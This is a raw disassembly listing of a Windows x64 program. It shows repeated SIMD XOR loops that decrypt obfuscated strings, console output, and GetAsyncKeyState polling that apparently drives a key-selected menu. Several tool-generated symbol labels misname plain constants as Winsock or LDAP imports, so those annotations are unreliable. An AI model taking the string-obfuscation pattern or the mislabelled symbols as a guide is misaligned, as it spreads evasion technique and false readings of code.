cmp qword [rax + 0x18], 0x10
jb 0x140032a17
mov rax, qword [rax]
mov rdx, rax
mov rcx, r12
call fcn.140005f10
lea rdx, [0x140006b40]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
lea rcx, [rbp + 0x288]
call fcn.140003990
nop
mov rdx, qword [rbp + 0x1e8]
cmp rdx, 0x10
jb 0x140032a89
inc rdx
mov rcx, qword [rbp + 0x1d0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140032a84
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140036b61
call fcn.1400b7470
movups xmm0, xmmword [0x1401ff458]
movups xmmword [rbp + 0x1f0], xmm0
movsd xmm1, qword [0x1401ff468]
movsd qword [rbp + 0x200], xmm1
movzx eax, word [0x1401ff470]
mov word [rbp + 0x208], ax
cmp byte [0x1401ff471], 0
je 0x140032c6f
mov r8d, r15d
cmp r13d, 2
jl 0x140032c2b
movdqa xmm5, xmmword [0x140201780]
movdqa xmm4, xmmword [0x1402017c0]
mov eax, 1
movd xmm6, eax
movdqa xmm7, xmmword [0x1402017a0]
mov eax, Ordinal_32
movd xmm8, eax
movdqa xmm0, xmmword [0x1402017d0]
movdqa xmmword [rsp + 0x20], xmm0
lea rcx, [rbp + 0x1f4]
mov edx, dword [rsp + 0x20]
nop dword [rax]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402017b0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402017b0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x140032b20
cmp r8d, 0x1a
jge 0x140032c6f
movsxd rax, r8d
lea r9, [rbp + 0x1f0]
add r9, rax
nop dword [rax + rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1a
jl 0x140032c40
xorps xmm0, xmm0
movups xmmword [rbp + 0x1d0], xmm0
mov qword [rbp + 0x1e0], r15
mov qword [rbp + 0x1e8], r15
lea rax, [rbp + 0x1f0]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x140032c95
lea rdx, [rbp + 0x1f0]
lea rcx, [rbp + 0x1d0]
call fcn.1400050f0
lea rcx, [rbp + 0x1d0]
call fcn.140017920
mov r12, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov qword [rbp + 0xd4], 0xff
mov dword [rbp + 0xdc], 0xff
mov qword [rbp + 0xe0], r15
mov dword [rbp + 0xe8], 0xff
movups xmm0, xmmword [0x1401ff478]
movups xmmword [rbp + 0x1f0], xmm0
movsd xmm1, qword [str.521550_CJ]
movsd qword [rbp + 0x200], xmm1
movzx eax, word [0x1401ff490]
mov word [rbp + 0x208], ax
movzx eax, byte [0x1401ff492]
mov byte [rbp + 0x20a], al
mov r8d, r15d
cmp r13d, 2
jl 0x140032e8b
movdqa xmm5, xmmword [0x140201780]
movdqa xmm4, xmmword [0x1402017c0]
mov eax, 1
movd xmm6, eax
movdqa xmm7, xmmword [0x1402017a0]
mov eax, Ordinal_32
movd xmm8, eax
movdqa xmm0, xmmword [0x1402017d0]
movdqa xmmword [rsp + 0x20], xmm0
lea rcx, [rbp + 0x1f4]
mov edx, dword [rsp + 0x20]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402017b0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402017b0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x140032d80
cmp r8d, 0x1b
jge 0x140032ecf
movsxd rax, r8d
lea r9, [rbp + 0x1f0]
add r9, rax
nop dword [rax + rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1b
jl 0x140032ea0
xorps xmm0, xmm0
movups xmmword [rbp + 0x1d0], xmm0
mov qword [rbp + 0x1e0], r15
mov qword [rbp + 0x1e8], r15
lea rax, [rbp + 0x1f0]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x140032ef5
lea rdx, [rbp + 0x1f0]
lea rcx, [rbp + 0x1d0]
call fcn.1400050f0
nop
lea r9, [rbp + 0xd4]
lea r8, [rbp + 0xe0]
lea rdx, [rbp + 0x1d0]
lea rcx, [rbp + 0x288]
call fcn.140003ca0
nop
mov r8, qword [rax + 0x10]
cmp qword [rax + 0x18], 0x10
jb 0x140032f47
mov rax, qword [rax]
mov rdx, rax
mov rcx, r12
call fcn.140005f10
lea rdx, [0x140006b40]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
lea rcx, [rbp + 0x288]
call fcn.140003990
nop
mov rdx, qword [rbp + 0x1e8]
cmp rdx, 0x10
jb 0x140032fb9
inc rdx
mov rcx, qword [rbp + 0x1d0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140032fb4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140036b68
call fcn.1400b7470
movups xmm0, xmmword [0x1401ff498]
movups xmmword [rbp + 0x1f0], xmm0
movsd xmm1, qword [0x1401ff4a8]
movsd qword [rbp + 0x200], xmm1
movzx eax, word [0x1401ff4b0]
mov word [rbp + 0x208], ax
cmp byte [0x1401ff4b1], 0
je 0x14003319f
mov r8d, r15d
cmp r13d, 2
jl 0x14003315b
movdqa xmm5, xmmword [0x140201780]
movdqa xmm4, xmmword [0x1402017c0]
mov eax, 1
movd xmm6, eax
movdqa xmm7, xmmword [0x1402017a0]
mov eax, Ordinal_32
movd xmm8, eax
movdqa xmm0, xmmword [0x1402017d0]
movdqa xmmword [rsp + 0x20], xmm0
lea rcx, [rbp + 0x1f4]
mov edx, dword [rsp + 0x20]
nop dword [rax]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402017b0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402017b0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x140033050
cmp r8d, 0x1a
jge 0x14003319f
movsxd rax, r8d
lea r9, [rbp + 0x1f0]
add r9, rax
nop dword [rax + rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1a
jl 0x140033170
xorps xmm0, xmm0
movups xmmword [rbp + 0x1d0], xmm0
mov qword [rbp + 0x1e0], r15
mov qword [rbp + 0x1e8], r15
lea rax, [rbp + 0x1f0]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x1400331c5
lea rdx, [rbp + 0x1f0]
lea rcx, [rbp + 0x1d0]
call fcn.1400050f0
lea rcx, [rbp + 0x1d0]
call fcn.140017920
mov r12, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov qword [rbp + 0xec], 0xff
mov dword [rbp + 0xf4], 0xff
mov qword [rbp + 0xf8], r15
mov dword [rbp + 0x100], 0xff
movups xmm0, xmmword [0x1401ff4b8]
movups xmmword [rbp + 0x1f0], xmm0
movsd xmm1, qword [str._.175_5_CJ]
movsd qword [rbp + 0x200], xmm1
movzx eax, word [0x1401ff4d0]
mov word [rbp + 0x208], ax
movzx eax, byte [0x1401ff4d2]
mov byte [rbp + 0x20a], al
mov r8d, r15d
cmp r13d, 2
jl 0x1400333bb
movdqa xmm5, xmmword [0x140201780]
movdqa xmm4, xmmword [0x1402017c0]
mov eax, 1
movd xmm6, eax
movdqa xmm7, xmmword [0x1402017a0]
mov eax, Ordinal_32
movd xmm8, eax
movdqa xmm0, xmmword [0x1402017d0]
movdqa xmmword [rsp + 0x20], xmm0
lea rcx, [rbp + 0x1f4]
mov edx, dword [rsp + 0x20]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402017b0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402017b0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x1400332b0
cmp r8d, 0x1b
jge 0x1400333ff
movsxd rax, r8d
lea r9, [rbp + 0x1f0]
add r9, rax
nop dword [rax + rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1b
jl 0x1400333d0
xorps xmm0, xmm0
movups xmmword [rbp + 0x1d0], xmm0
mov qword [rbp + 0x1e0], r15
mov qword [rbp + 0x1e8], r15
lea rax, [rbp + 0x1f0]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x140033425
lea rdx, [rbp + 0x1f0]
lea rcx, [rbp + 0x1d0]
call fcn.1400050f0
nop
lea r9, [rbp + 0xec]
lea r8, [rbp + 0xf8]
lea rdx, [rbp + 0x1d0]
lea rcx, [rbp + 0x288]
call fcn.140003ca0
nop
mov r8, qword [rax + 0x10]
cmp qword [rax + 0x18], 0x10
jb 0x140033477
mov rax, qword [rax]
mov rdx, rax
mov rcx, r12
call fcn.140005f10
lea rdx, [0x140006b40]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
lea rcx, [rbp + 0x288]
call fcn.140003990
nop
lea rcx, [rbp + 0x1d0]
call fcn.140003990
movups xmm0, xmmword [0x1401ff4d8]
movups xmmword [rbp + 0x1f0], xmm0
movsd xmm1, qword [str.521550_I]
movsd qword [rbp + 0x200], xmm1
movzx eax, word [0x1401ff4f0]
mov word [rbp + 0x208], ax
cmp byte [0x1401ff4f1], 0
je 0x14003368f
mov r8d, r15d
cmp r13d, 2
jl 0x14003364b
movdqa xmm5, xmmword [0x140201780]
movdqa xmm4, xmmword [0x1402017c0]
mov eax, 1
movd xmm6, eax
movdqa xmm7, xmmword [0x1402017a0]
mov eax, Ordinal_32
movd xmm8, eax
movdqa xmm0, xmmword [0x1402017d0]
movdqa xmmword [rsp + 0x20], xmm0
lea rcx, [rbp + 0x1f4]
mov edx, dword [rsp + 0x20]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402017b0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402017b0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x140033540
cmp r8d, 0x1a
jge 0x14003368f
movsxd rax, r8d
lea r9, [rbp + 0x1f0]
add r9, rax
nop dword [rax + rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1a
jl 0x140033660
xorps xmm0, xmm0
movups xmmword [rbp + 0x1d0], xmm0
mov qword [rbp + 0x1e0], r15
mov qword [rbp + 0x1e8], r15
lea rax, [rbp + 0x1f0]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x1400336b5
lea rdx, [rbp + 0x1f0]
lea rcx, [rbp + 0x1d0]
call fcn.1400050f0
lea rcx, [rbp + 0x1d0]
call fcn.140017920
mov r12, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov qword [rbp + 0x104], 0xff
mov dword [rbp + 0x10c], 0xff
mov qword [rbp + 0x110], r15
mov dword [rbp + 0x118], 0xff
movups xmm0, xmmword [0x1401ff4f8]
movups xmmword [rbp + 0x210], xmm0
movups xmm1, xmmword [0x1401ff508]
movups xmmword [rbp + 0x220], xmm1
movzx eax, word [0x1401ff518]
mov word [rbp + 0x230], ax
movzx eax, byte [0x1401ff51a]
mov byte [rbp + 0x232], al
mov r8d, r15d
cmp r13d, 2
jl 0x1400338ab
movdqa xmm5, xmmword [0x140201780]
movdqa xmm4, xmmword [0x1402017c0]
mov eax, 1
movd xmm6, eax
movdqa xmm7, xmmword [0x1402017a0]
mov eax, Ordinal_32
movd xmm8, eax
movdqa xmm0, xmmword [0x1402017d0]
movdqa xmmword [rsp + 0x20], xmm0
lea rcx, [rbp + 0x214]
mov edx, dword [rsp + 0x20]
nop dword [rax]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402017b0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402017b0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x1400337a0
cmp r8d, 0x23
jge 0x1400338ef
movsxd rax, r8d
lea r9, [rbp + 0x210]
add r9, rax
nop dword [rax + rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x23
jl 0x1400338c0
xorps xmm0, xmm0
movups xmmword [rbp + 0x1d0], xmm0
mov qword [rbp + 0x1e0], r15
mov qword [rbp + 0x1e8], r15
lea rax, [rbp + 0x210]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x140033915
lea rdx, [rbp + 0x210]
lea rcx, [rbp + 0x1d0]
call fcn.1400050f0
nop
lea r9, [rbp + 0x104]
lea r8, [rbp + 0x110]
lea rdx, [rbp + 0x1d0]
lea rcx, [rbp + 0x288]
call fcn.140003ca0
nop
mov r8, qword [rax + 0x10]
cmp qword [rax + 0x18], 0x10
jb 0x140033967
mov rax, qword [rax]
mov rdx, rax
mov rcx, r12
call fcn.140005f10
lea rdx, [0x140006b40]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
lea rcx, [rbp + 0x288]
call fcn.140003990
nop
lea rcx, [rbp + 0x1d0]
call fcn.140003990
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, reloc.WS2_32.dll_WSASetLastError
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
movsx rcx, ax
movabs r12, 0x15ed4a599885
test r12, rcx
jne 0x140033ad6
nop dword [rax]
mov ecx, Ordinal_50
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
movsx rcx, ax
movabs rax, 0xdb6bfeb8f665
test rax, rcx
jne 0x140033ad6
mov ecx, WSACleanup
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
movsx rcx, ax
movabs rax, 0x59e00c975
test rax, rcx
jne 0x140033b06
mov ecx, reloc.WLDAP32.dll_Ordinal_50
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
movsx rcx, ax
movabs rax, 0x15f132e63c6d
test rax, rcx
jne 0x140033b06
mov ecx, WSACleanup
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
movsx rcx, ax
movabs rax, 0x382bcb63a5
test rax, rcx
jne 0x140033af7
mov ecx, 0x33
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
movsx rcx, ax
movabs rax, 0x59e12133d
test rax, rcx
jne 0x140033af7
mov ecx, reloc.WS2_32.dll_WSAStartup
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
movsx rcx, ax
movabs rax, 0x217b2a1446336425
test rax, rcx
jne 0x140033ae8
mov ecx, 0x34
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
movsx rcx, ax
movabs rax, 0x55da3c552db7a5
test rax, rcx
jne 0x140033ae8
mov ecx, reloc.WS2_32.dll_WSASetLastError
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
movsx rcx, ax
test r12, rcx
je 0x1400339d0
mov r12d, 1
mov dword [reloc.WS2_32.dll_accept], r12d
jmp 0x14002df1e
mov dword [reloc.WS2_32.dll_accept], 4
jmp 0x14002df18
mov dword [reloc.WS2_32.dll_accept], 3
jmp 0x14002df18
mov dword [reloc.WS2_32.dll_accept], 2
jmp 0x14002df18
call fcn.14003a770
mov eax, dword [reloc.WS2_32.dll_accept]
cmp eax, 1
jne 0x140033ffe
movups xmm0, xmmword [0x1401ff0c8]
movups xmmword [rbp + 0x210], xmm0
movups xmm1, xmmword [0x1401ff0d8]
movups xmmword [rbp + 0x220], xmm1
movzx eax, byte [0x1401ff0e8]
mov byte [rbp + 0x230], al
mov r8d, r15d
cmp r13d, 2
jl 0x140033cbb
movdqa xmm5, xmmword [0x140201780]
movdqa xmm4, xmmword [0x1402017c0]
mov eax, 1
movd xmm6, eax
movdqa xmm7, xmmword [0x1402017a0]
mov eax, Ordinal_32
movd xmm8, eax
movdqa xmm0, xmmword [0x1402017d0]
movdqa xmmword [rsp + 0x20], xmm0
lea rcx, [rbp + 0x214]
mov edx, dword [rsp + 0x20]
nop dword [rax]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402017b0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402017b0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x140033bb0
cmp r8d, 0x21
jge 0x140033cff
movsxd rax, r8d
lea r9, [rbp + 0x210]
add r9, rax
nop dword [rax + rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x21
jl 0x140033cd0
lea rdx, [rbp + 0x210]
lea rcx, [rbp + 0x288]
call fcn.140007470
mov rcx, rax
call fcn.140017920
mov r12, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov qword [rbp + 0x11c], 0xff
mov dword [rbp + 0x124], 0xff
mov qword [rbp + 0x128], r15
mov dword [rbp + 0x130], 0xff
movups xmm0, xmmword [0x1401ff0f0]
movups xmmword [rbp + 0x210], xmm0
movups xmm1, xmmword [0x1401ff100]
